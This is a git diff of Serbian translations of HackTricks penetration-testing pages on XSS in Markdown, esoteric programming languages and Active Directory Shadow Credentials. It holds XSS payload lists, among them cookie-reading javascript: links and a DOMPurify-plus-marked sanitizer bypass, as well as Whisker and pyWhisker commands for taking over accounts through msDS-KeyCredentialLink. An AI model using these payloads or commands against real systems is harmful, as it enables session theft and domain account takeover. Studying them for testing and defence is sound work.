* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,35 @@
|
|||
# XSS in Markdown
|
||||
# XSS u Markdown-u
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Ako imate priliku da ubacite kod u markdown, postoji nekoliko opcija koje možete koristiti da izazovete XSS kada se kod interpretira.
|
||||
Ako imate priliku da injektujete kod u markdown, postoji nekoliko opcija koje možete koristiti da pokrenete XSS kada se kod interpretira.
|
||||
|
||||
### HTML tagovi
|
||||
|
||||
Najčešći način za dobijanje XSS u markdown-u je ubacivanje uobičajenih HTML tagova koji izvršavaju javascript, jer će nekoliko markdown interpretera takođe prihvatiti HTML
|
||||
|
||||
Najčešći način da dobijete XSS u markdown-u je da injektujete uobičajene HTML tagove koji izvršavaju javascript, jer će nekoliko markdown interpretera takođe prihvatiti HTML.
|
||||
```html
|
||||
<!-- XSS with regular tags -->
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
```
|
||||
|
||||
Možete pronaći više primera na [glavnoj XSS stranici hacktricks](./).
|
||||
|
||||
### Javascript linkovi
|
||||
|
||||
Ako HTML tagovi nisu opcija, uvek možete pokušati da se igrate sa sintaksom markdown-a:
|
||||
|
||||
Ako HTML tagovi nisu opcija, uvek možete pokušati da se igrate sa markdown sintaksom:
|
||||
```html
|
||||
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
||||
[a](javascript:prompt(document.cookie))
|
||||
|
@ -44,40 +44,16 @@ Ako HTML tagovi nisu opcija, uvek možete pokušati da se igrate sa sintaksom ma
|
|||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:window.onerror=alert;throw%201)
|
||||
```
|
||||
|
||||
### Zloupotreba sintakse događaja Img
|
||||
|
||||
Jedna od tehnika XSS napada je zloupotreba sintakse događaja Img. Ova tehnika se koristi za ubacivanje zlonamernog koda u HTML dokument putem slike.
|
||||
|
||||
Da biste izvršili ovaj napad, koristite sledeću sintaksu:
|
||||
|
||||
```html
|
||||
<img src="neka_slika.jpg" onerror="zlonamerni_kod">
|
||||
```
|
||||
|
||||
Kada se slika ne može učitati, događaj `onerror` će se aktivirati i izvršiti zlonamerni kod koji ste naveli.
|
||||
|
||||
Na primer, ako želite da prikažete alert dijalog sa porukom "XSS napad", koristite sledeći kod:
|
||||
|
||||
```html
|
||||
<img src="neka_slika.jpg" onerror="alert('XSS napad')">
|
||||
```
|
||||
|
||||
Kada se slika ne može učitati, prikazaće se alert dijalog sa porukom "XSS napad".
|
||||
|
||||
Ova tehnika može biti veoma opasna jer omogućava napadaču da izvrši proizvoljan kod na strani žrtve. Zbog toga je važno da razvijatelji implementiraju odgovarajuće mere zaštite kako bi sprečili ovakve napade.
|
||||
|
||||
### Zloupotreba img event sintakse
|
||||
```markdown
|
||||
![Uh oh...]("onerror="alert('XSS'))
|
||||
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
|
||||
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
|
||||
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
|
||||
```
|
||||
### HTML Sanitiser Markdown Bypass
|
||||
|
||||
### Bypass HTML Sanitizer Markdown
|
||||
|
||||
Sledeći kod **sanitizuje HTML unos** a zatim ga **prosleđuje markdown parseru**, tada se XSS može pokrenuti zloupotrebom netačnog tumačenja između Markdown-a i DOMPurify
|
||||
|
||||
Sledeći kod **sanitizuje HTML ulaz** i zatim **prosledi ga markdown parseru**, zatim, XSS može biti aktiviran zloupotrebom pogrešnih tumačenja između Markdown-a i DOMPurify-a.
|
||||
```html
|
||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||
|
@ -89,9 +65,7 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
|
|||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
Primeri payloada:
|
||||
|
||||
Primeri payload-a:
|
||||
```html
|
||||
<div id="1
|
||||
|
||||
|
@ -107,17 +81,7 @@ Primeri payloada:
|
|||
----------------------------------------------
|
||||
`<p x="`<img src=x onerror=alert(1)>"></p>
|
||||
```
|
||||
|
||||
### Fuzziranje
|
||||
|
||||
Fuzziranje je tehnika koja se koristi za pronalaženje ranjivosti u aplikacijama. Ova tehnika podrazumeva slanje velikog broja nasumičnih ili polu-nasumičnih ulaznih podataka u ciljnu aplikaciju kako bi se otkrile greške ili ranjivosti. Fuzziranje se često koristi za pronalaženje ranjivosti u web aplikacijama, uključujući i XSS (Cross-Site Scripting) ranjivosti.
|
||||
|
||||
Da biste izvršili fuzziranje, možete koristiti alate kao što su Burp Suite, ZAP ili wfuzz. Ovi alati omogućavaju slanje različitih vrsta ulaznih podataka, kao što su nasumični nizovi, posebni znakovi ili kombinacije HTML tagova. Cilj je pronaći ulaz koji će izazvati neželjeno ponašanje aplikacije, kao što je izvršavanje zlonamernog koda.
|
||||
|
||||
Prilikom fuzziranja, važno je pratiti odgovore aplikacije na različite ulaze i analizirati ih kako biste identifikovali potencijalne ranjivosti. Takođe je važno imati dobro razumevanje ciljne aplikacije i njenih komponenti kako biste mogli da generišete relevantne ulaze za testiranje.
|
||||
|
||||
Fuzziranje je moćna tehnika koja može otkriti ranjivosti koje bi inače mogle proći neprimećene. Međutim, važno je napomenuti da je ova tehnika legalna samo kada se koristi u okviru zakonitog pentestinga ili sa pristankom vlasnika ciljne aplikacije.
|
||||
|
||||
### Fuzzing
|
||||
```html
|
||||
<!--
|
||||
Fuzzing examples from
|
||||
|
@ -167,7 +131,8 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
|
|||
[ ](http://a?p=[[/onclick=alert(0) .]])
|
||||
[a](javascript:new%20Function`al\ert\`1\``;)
|
||||
[XSS](javascript:prompt(document.cookie))
|
||||
[X
|
||||
[XSS](j a v a s c r i p t:prompt(document.cookie))
|
||||
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[XSS](javascript:alert('XSS'))
|
||||
[XSS]: (javascript:prompt(document.cookie))
|
||||
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
||||
|
@ -192,21 +157,17 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
|
|||
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
|
||||
![XSS'"`onerror=prompt(document.cookie)](x)\
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
[XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/&/README.md#x6A\a\v\a\s\c\r\i\p\t\:\a\l\e\r\t\(\'\X\S\S\'\)) \[XSS]: (javascript:prompt(document.cookie)) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:window.onerror=alert;throw%20document.cookie) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/prompt\(1\)/README.md) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/prompt\(1\);com/README.md) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:window.onerror=alert;throw%20document.cookie) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/window.onerror=alert;throw%20document.cookie) [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [XSS](vbscript:alert\(document.domain\)) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:this;alert\(1\)/README.md) \[XSS]\(javascript:this;alert(1)) \[XSS]\(javascript\:this;alert(1)) \[XSS]\(Javascript:alert(1)) \[XSS]\(Javas%26%2399;ript:alert(1)) \[XSS]\(javascript:alert<72>(1)) \[XSS]\(javascript:confirm(1) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/www.google.comprompt\(1\)) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:/confirm\(1\);com/README.md) [XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:window.onerror=confirm;throw%201) \[XSS]\(<28>javascript:alert(document.domain)) ![XSS](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/javascript:prompt\(document.cookie\))\
|
||||
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
|
||||
![XSS'"\`onerror=prompt(document.cookie)](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/xss-cross-site-scripting/x)\\
|
||||
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
```
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Ezoterični jezici
|
||||
# Esoteric languages
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
|
||||
|
||||
Proverite tu wiki da biste pretražili više ezoteričnih jezika
|
||||
Proverite tu viki stranicu da biste pronašli više esoteričnih jezika
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
|
@ -61,8 +64,6 @@ Whisper my world
|
|||
{% embed url="https://codewithrockstar.com/" %}
|
||||
|
||||
## PETOOH
|
||||
|
||||
PETOOH je esoterični jezik programiranja koji koristi samo tri komande: "ko", "kud" i "ku". Ovaj jezik je inspirisan jezikom Pigeonhole, koji je baziran na konceptu "brainfuck" jezika. PETOOH koristi samo dve promenljive, "ko" i "kud", koje se koriste za manipulaciju podacima. Ovaj jezik je poznat po svojoj neobičnoj sintaksi i izazovima koje pruža programerima.
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
|
@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
|||
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||
Kukarek
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,81 +1,87 @@
|
|||
# Senke Credentials
|
||||
# Shadow Credentials
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Uvod <a href="#3f17" id="3f17"></a>
|
||||
## Intro <a href="#3f17" id="3f17"></a>
|
||||
|
||||
**Proverite originalni post za [sve informacije o ovoj tehnici](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
|
||||
**Check the original post for [all the information about this technique](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
|
||||
|
||||
Ukratko: ako možete pisati u svojstvo **msDS-KeyCredentialLink** korisnika/računara, možete dobiti **NT hash tog objekta**.
|
||||
Kao **rezime**: ako možete da pišete u **msDS-KeyCredentialLink** svojstvo korisnika/računara, možete da dobijete **NT hash tog objekta**.
|
||||
|
||||
U postu je opisan metod za podešavanje **javno-privatnih ključeva za autentifikaciju** kako bi se dobio jedinstveni **Service Ticket** koji uključuje NTLM hash cilja. Ovaj proces uključuje šifrovanje NTLM_SUPPLEMENTAL_CREDENTIAL unutar Privilege Attribute Certificate (PAC), koji se može dešifrovati.
|
||||
U postu je opisana metoda za postavljanje **javnih-privatnih ključeva** za autentifikaciju kako bi se stekao jedinstveni **Service Ticket** koji uključuje NTLM hash cilja. Ovaj proces uključuje enkriptovani NTLM_SUPPLEMENTAL_CREDENTIAL unutar Privilege Attribute Certificate (PAC), koji se može dekriptovati.
|
||||
|
||||
### Zahtevi
|
||||
### Requirements
|
||||
|
||||
Da biste primenili ovu tehniku, moraju se ispuniti određeni uslovi:
|
||||
- Potreban je najmanje jedan Windows Server 2016 Domain Controller.
|
||||
- Domain Controller mora imati instaliran digitalni sertifikat za server autentifikaciju.
|
||||
- Active Directory mora biti na Windows Server 2016 Functional Level.
|
||||
- Potreban je nalog sa delegiranim pravima za izmenu atributa msDS-KeyCredentialLink ciljnog objekta.
|
||||
Da biste primenili ovu tehniku, određeni uslovi moraju biti ispunjeni:
|
||||
- Potreban je minimum jedan Windows Server 2016 Domain Controller.
|
||||
- Domain Controller mora imati instaliran digitalni sertifikat za autentifikaciju servera.
|
||||
- Active Directory mora biti na Windows Server 2016 funkcionalnom nivou.
|
||||
- Potreban je nalog sa delegiranim pravima za modifikaciju msDS-KeyCredentialLink atributa ciljnog objekta.
|
||||
|
||||
## Zloupotreba
|
||||
## Abuse
|
||||
|
||||
Zloupotreba Key Trust-a za računarske objekte obuhvata korake koji idu dalje od dobijanja Ticket Granting Ticket (TGT) i NTLM hasha. Opcije uključuju:
|
||||
1. Kreiranje **RC4 silver ticket-a** kako bi se delovalo kao privilegovani korisnici na ciljanom hostu.
|
||||
2. Korišćenje TGT-a sa **S4U2Self** za impersonaciju **privilegovanih korisnika**, što zahteva izmene na Service Ticket-u kako bi se dodala klasa servisa imenu servisa.
|
||||
Zloupotreba Key Trust za računar objekata obuhvata korake izvan dobijanja Ticket Granting Ticket (TGT) i NTLM hasha. Opcije uključuju:
|
||||
1. Kreiranje **RC4 silver ticket** da deluje kao privilegovani korisnici na nameravanom hostu.
|
||||
2. Korišćenje TGT sa **S4U2Self** za impersonaciju **privilegovanim korisnicima**, što zahteva izmene u Service Ticket-u kako bi se dodala klasa usluge imenu usluge.
|
||||
|
||||
Značajna prednost zloupotrebe Key Trust-a je ograničenje na privatni ključ koji generiše napadač, izbegavajući delegaciju potencijalno ranjivim nalozima i ne zahteva kreiranje računara, što može biti teško ukloniti.
|
||||
Značajna prednost zloupotrebe Key Trust-a je njeno ograničenje na privatni ključ koji generiše napadač, izbegavajući delegaciju potencijalno ranjivim nalozima i ne zahtevajući kreiranje računa računara, što bi moglo biti teško ukloniti.
|
||||
|
||||
## Alati
|
||||
## Tools
|
||||
|
||||
### [**Whisker**](https://github.com/eladshamir/Whisker)
|
||||
|
||||
Zasnovan na DSInternals-u, pruža C# interfejs za ovaj napad. Whisker i njegov Python pandan, **pyWhisker**, omogućavaju manipulaciju atributom `msDS-KeyCredentialLink` kako bi se preuzela kontrola nad Active Directory nalozima. Ovi alati podržavaju različite operacije kao što su dodavanje, listanje, uklanjanje i brisanje ključnih akreditacija sa ciljnog objekta.
|
||||
Zasnovan je na DSInternals koji pruža C# interfejs za ovaj napad. Whisker i njegov Python pandan, **pyWhisker**, omogućavaju manipulaciju `msDS-KeyCredentialLink` atributom kako bi se stekla kontrola nad Active Directory nalozima. Ovi alati podržavaju razne operacije kao što su dodavanje, listanje, uklanjanje i brisanje ključnih kredencijala iz ciljnog objekta.
|
||||
|
||||
Funkcije **Whisker**-a uključuju:
|
||||
- **Add**: Generiše par ključeva i dodaje ključne akreditacije.
|
||||
- **List**: Prikazuje sve unose ključnih akreditacija.
|
||||
- **Remove**: Briše određene ključne akreditacije.
|
||||
- **Clear**: Briše sve ključne akreditacije, potencijalno ometajući legitimnu upotrebu WHfB.
|
||||
**Whisker** funkcije uključuju:
|
||||
- **Add**: Generiše par ključeva i dodaje ključni kredencijal.
|
||||
- **List**: Prikazuje sve unose ključnih kredencijala.
|
||||
- **Remove**: Briše određeni ključni kredencijal.
|
||||
- **Clear**: Briše sve ključne kredencijale, potencijalno ometajući legitimnu upotrebu WHfB.
|
||||
```shell
|
||||
Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
|
||||
```
|
||||
### [pyWhisker](https://github.com/ShutdownRepo/pywhisker)
|
||||
|
||||
Proširuje funkcionalnost Whiskera na **UNIX-baziranim sistemima**, koristeći Impacket i PyDSInternals za sveobuhvatne mogućnosti iskorišćavanja, uključujući listanje, dodavanje i uklanjanje KeyCredentials, kao i njihovo uvoz i izvoz u JSON formatu.
|
||||
Proširuje funkcionalnost Whisker-a na **UNIX-bazirane sisteme**, koristeći Impacket i PyDSInternals za sveobuhvatne mogućnosti eksploatacije, uključujući listanje, dodavanje i uklanjanje KeyCredentials, kao i uvoz i izvoz u JSON formatu.
|
||||
```shell
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
|
||||
```
|
||||
### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/)
|
||||
|
||||
ShadowSpray ima za cilj da **iskoristi dozvole GenericWrite/GenericAll koje široke grupe korisnika mogu imati nad objektima domena** kako bi široko primenio ShadowCredentials. To podrazumeva prijavljivanje na domen, proveru funkcionalnog nivoa domena, enumeraciju objekata domena i pokušaj dodavanja KeyCredentials za dobijanje TGT-a i otkrivanje NT hash-a. Opcije za čišćenje i taktike rekurzivnog iskorišćavanja poboljšavaju njegovu korisnost.
|
||||
